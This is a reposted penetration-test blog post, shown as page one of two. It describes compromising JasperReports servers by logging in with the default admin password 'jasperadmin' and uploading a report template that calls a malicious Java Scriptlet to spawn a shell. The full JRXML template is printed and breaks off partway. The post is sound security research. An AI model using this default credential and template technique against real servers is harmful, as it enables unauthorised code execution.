未加星标

Hacking JasperReports The Hidden Shell Feature

字体大小 | |
[系统(linux) 所属分类 系统(linux) | 发布者 店小二04 | 时间 2016 | 作者 红领巾 ] 0人收藏点击收藏

By @breenmachine

A short while ago, my coworkers and I were working on a penetration test for a client with a fairly small Internet facing attack surface. One thing we did find was that they had left a couple of JasperReports servers Internet facing. It didn’t take too much work to find the default administrative account username:


Hacking JasperReports   The Hidden Shell Feature

The password of “jasperadmin” also didn’t take too long to figure out.

I had heard of JasperReports before but had never run into it on a penetration test. A quick bit of Googling didn’t yield any previous work. It’s pretty rare that an administrative interface doesn’t eventually give up code execution in one way or another, and so we start our journey to adding JasperReports to the penetration tester’s “easywins” list…

Reports and “Scriptlets”

The purpose of JasperReports is to pull in data from various sources (databases, xml, flat files, etc…), aggregate it in some way, and spit out a pretty report based on some sort of user-defined template.Templates in JasperReports are defined in “JRXML” files that can be uploaded by any user allowed to create or edit reports.

In the interest of flexibility, the designers of JasperReports allow for custom manipulation of data before it is included in the report. This is accomplished through “Scriptlets” which are just Java programs! I think you can probably see where this is going.

Our goal here is to create a report template (JRXML file) that references a custom, malicious Scriptlet, which when run will send us a shell. The rest of this post will describe how we tied this together.

Creating Editing the Template

Instead of creating a new report template, we’ll just edit an existing one. The following is the template we’ll be using. Note that it is overly complicated and 90% of it is totally unnecessary. This is simply one of the “sample” reports that came with “JasperStudio”. The interesting part is contained in lines 35-42 where I inserted references to “ShellScriptlet”.

shell.jrxml

<?xml version="1.0" encoding="UTF-8"?> <!-- Created with Jaspersoft Studio version 6.0.1.final using JasperReports Library version 6.0.0 --> <!-- 2016-10-04T14:01:12 --> <jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="AllAccounts" pageWidth="595" pageHeight="842" whenNoDataType="AllSectionsNoDetail" columnWidth="515" leftMargin="40" rightMargin="40" topMargin="50" bottomMargin="50" isSummaryWithPageHeaderAndFooter="true" uuid="17f4b3c5-e096-4a65-b030-ed3bb58ce311"> <property name="net.sf.jasperreports.export.pdf.tag.language" value="EN-US"/> <style name="Sans_Normal" isDefault="true" fontName="DejaVu Sans" fontSize="12"/> <style name="Sans_Bold" fontName="DejaVu Sans" fontSize="12" isBold="true"/> <style name="Sans_Italic" fontName="DejaVu Sans" fontSize="12" isItalic="true"/> <style name="PageHeader" style="Sans_Bold" forecolor="#FFFFFF" backcolor="#333333"/> <style name="detail" fontName="DejaVu Sans" fontSize="12"> <conditionalStyle> <conditionExpression><![CDATA[new Boolean($V{CityGroup_COUNT}.intValue() % 2 == 0)]]></conditionExpression> <style mode="Opaque" backcolor="#E0E0E0"/> </conditionalStyle> </style> <subDataset name="Table Dataset 1" uuid="4fcc1d09-9859-48ee-bb6f-8d369bd49113"> <queryString> <![CDATA[SELECT name, phone_office, billing_address_city, billing_address_street, billing_address_country FROM accounts ORDER BY billing_address_country, billing_address_city]]> </queryString> <field name="name" class="java.lang.String"/> <field name="phone_office" class="java.lang.String"/> <field name="billing_address_city" class="java.lang.String"/> <field name="billing_address_street" class="java.lang.String"/> <field name="billing_address_country" class="java.lang.String"/> <sortField name="billing_address_country"/> <sortField name="billing_address_city"/> <variable name="CityyNumber" class="java.lang.Integer" incrementType="Group" incrementGroup="CityGroup" calculation="Count"> <variableExpression><![CDATA[Boolean.TRUE]]></variableExpression> <initialValueExpression><![CDATA[new Integer(0)]]></initialValueExpression> </variable> <group name="CityGroup"> <groupExpression><![CDATA[$F{billing_address_city}]]></groupExpression> </group> </subDataset> <scriptlet name="ShellScriptlet" class="foxglove.shell.ShellScriptlet"> <scriptletDescription><![CDATA[]]></scriptletDescription> </scriptlet> <title> <band height="79" splitType="Stretch"> <textField> <reportElement x="227" y="20" width="100" height="30" uuid="32a2a8ff-d90a-48d7-b044-5325b5c6264f"/> <textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression> </textField> </band> </title> <pageFooter> <band height="40"> <line> <reportElement x="0" y="10" width="515" height="1" uuid="19826638-0487-4bb5-9b15-7e7af63b8dce"> <property name="net.sf.jasperreports.export.pdf.tag.table" value="end"/> </reportElement> </line> <textField isStretchWithOverflow="true"> <reportElement x="200" y="20" width="80" height="16" uuid="6f072af1-756c-49f4-82f3-af59e8124296"/> <textElement textAlignment="Right"/> <textFieldExpression><![CDATA["Page " + String.valueOf($V{PAGE_NUMBER}) + " of"]]></textFieldExpression> </textField> <textField isStretchWithOverflow="true" evaluationTime="Report"> <reportElement x="280" y="20" width="75" height="16" uuid="02b15e9e-d360-4b82-a140-54b9bd3b0e81"/> <textElement textAlignment="Left"/> <textFieldExpression><![CDATA[" " + String.valueOf($V{PAGE_NUMBER})]]></textFieldExpression> </textField> </band> </pageFooter> <summary> <band height="149" splitType="Stretch"> <image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon"> <reportElement positionType="Float" x="0" y="71" width="250" height="70" uuid="aa8a8976-039f-45ac-84f3-d8d55b442410"/> <imageExpression><![CDATA["repo:LogoLink"]]></imageExpression> <hyperlinkTooltipExpression><![CDATA["JasperReports Logo"]]></hyperlinkTooltipExpression> </image> <image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon"> <reportElement positionType="Float" x="265" y="71" width="250" height="70" uuid="4b5dd0d1-9011-42cf-ab07-f80c02d3d166"/> <imageExpression><![CDATA["repo:AllAccounts_Res2"]]></imageExpression> <hyperlinkTooltipExpression><![CDATA["Jaspersoft Logo"]]></hyperlinkTooltipExpression> </image> <componentElement> <reportElement key="table" x="0" y="0" width="515" height="70" uuid="db3dd84a-3743-43b3-ab7e-c4aebdb907df"/> <jr:table xmlns:jr="http://jasperreports.sourceforge.net/jasperreports/components" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports/components http://jasperreports.sourceforge.net/xsd/components.xsd" whenNoDataType="AllSectionsNoDetail"> <datasetRun subDataset="Table Dataset 1" uuid="3b2a079f-f600-46a6-a7af-720c4e939e7e"> <connectionExpression><![CDATA[$P{REPORT_CONNECTION}]]></connectionExpression> </datasetRun> <jr:columnGroup width="515" uuid="1e5d630a-c8f9-4dbb-8415-393f7624ca35"> <jr:groupHeader groupName="CityGroup"> <jr:cell height

本文系统(linux)相关术语:linux系统 鸟哥的linux私房菜 linux命令大全 linux操作系统

主题: XML360JavaUTHeadTICTI
分页:12
转载请注明
本文标题:Hacking JasperReports The Hidden Shell Feature
本站链接:http://www.codesec.net/view/483093.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 系统(linux) | 评论(0) | 阅读(42)